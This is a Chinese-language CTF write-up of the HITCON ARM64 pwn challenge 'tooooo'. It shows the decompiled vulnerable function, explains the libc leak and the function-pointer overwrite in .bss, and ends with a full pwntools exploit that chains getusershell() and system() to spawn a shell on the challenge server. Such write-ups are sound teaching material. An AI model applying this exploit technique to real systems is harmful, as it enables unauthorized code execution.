本文最后更新于:星期三, 一月 2日 2019, 4:10 下午
toooo
这道题是我在苦逼的写完了社会实践报告后刷D4rk3r大佬的博客看到的,感觉很有意思,就先看了这道题
这题是一道arm的pwn,可是它被分类到了misc,可能大佬觉得这是脑洞题吧
查看了下程序的架构
☁ tooooo file tooooo
tooooo: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=9e7e0f87a22c5b75cb0926d54d3d3f33fbac1fad, stripped
这是一道arm64的题,先配置下虚拟机的环境
☁ tooooo apt-cache search "libc6" | grep arm64
libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dbg-arm64-cross - GNU C Library: detached debugging symbols (for cross-compiling)
☁ tooooo sudo apt-get install libc6-arm64-cross
因为题目给了libc文件和ld所以用题目给的就行了,运行前需要将ld-2.27.so重命名为ld-linux-aarch64.so.1 以及将libc-2.27.so重命名为libc.so.6
将重命名的文件放入lib文件夹,lib文件夹放在和程序同个目录下
qemu-aarch64 -L ./ tooooo
简单运行下发现它打印出了一个地址,然后要输入一个字符串,最后在打印一个字符串退出了
☁ tooooo qemu-aarch64 -L ./ tooooo
0x40009b1560
fasdf
Too many :)
用ida查看了下反编译的伪代码
__int64 vuln()
{
unsigned int v1; // [xsp+18h] [xbp+18h]
__int64 v2; // [xsp+20h] [xbp+20h]
void (__fastcall *v3)(_QWORD, __int64, __int64, __int64); // [xsp+28h] [xbp+28h]
__int64 v4; // [xsp+30h] [xbp+30h]
__int64 v5; // [xsp+38h] [xbp+38h]
v3 = &unk_F40;
init_fuc();
v1 = open("/dev/urandom", 0LL);
if ( (v1 & 0x80000000) != 0 )
_exit(0xFFFFFFFFLL);
v2 = 0LL;
if ( read(v1, &v2, 4LL) <= 0 )
return v5 ^ _stack_chk_guard;
printf("0x%llx\n", stdout);
v4 = mmap(v2 & 0x7FFFF000, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
if ( v4 == -1 )
_exit(0xFFFFFFFFLL);
if ( read(v1, v4, 12288LL) <= 0 )
_exit(4294967294LL);
get_string(&unk_12018, 0x30u);
v3(v1, v4 + 0x2000, write_1, write_2);
return v5 ^ _stack_chk_guard;
}
这里可以发现,它将stdout的地址打印出来了,所以可以计算出libc的地址。然后它往&unk_12018写入0x30个字节的内容,通过这个可以将在bss段上的 write_1和write_2两个函数指针给覆盖掉,而这两个函数在后面都会执行,所以这里可以获得两次调用函数的机会,但是要怎么getshell呢。这里我看到大佬们用了一个很骚的函数 getusershell(),先执行getusershell()函数,将”/bin/sh”存储在x0寄存器中,然后再执行system函数
arm64的调用约定:参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。
exp:
#!/usr/bin/env python
from pwn import *
local = 0
debug = 0
if local:
if debug:
p = process(["qemu-aarch64", "-g", "1234", "-L", "./", "tooooo"])
else:
p = process(["qemu-aarch64", "-L", "./", "tooooo"])
else:
p = remote("13.230.48.252","4869")
elf = ELF("tooooo")
libc = ELF("./lib/libc.so.6")
context.binary = "tooooo"
context.log_level = "debug"
libc_base = int(p.recvline().strip("\n"),16) - libc.symbols['_IO_2_1_stdout_']
print hex(libc_base)
libc.address = libc_base
payload = 'a'*0x20 + p64(libc.symbols["getusershell"]) + p64(libc.symbols["system"])
p.sendline(payload)
p.interactive()
reference:
CTF's writeup writeup pwn Hitcon
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!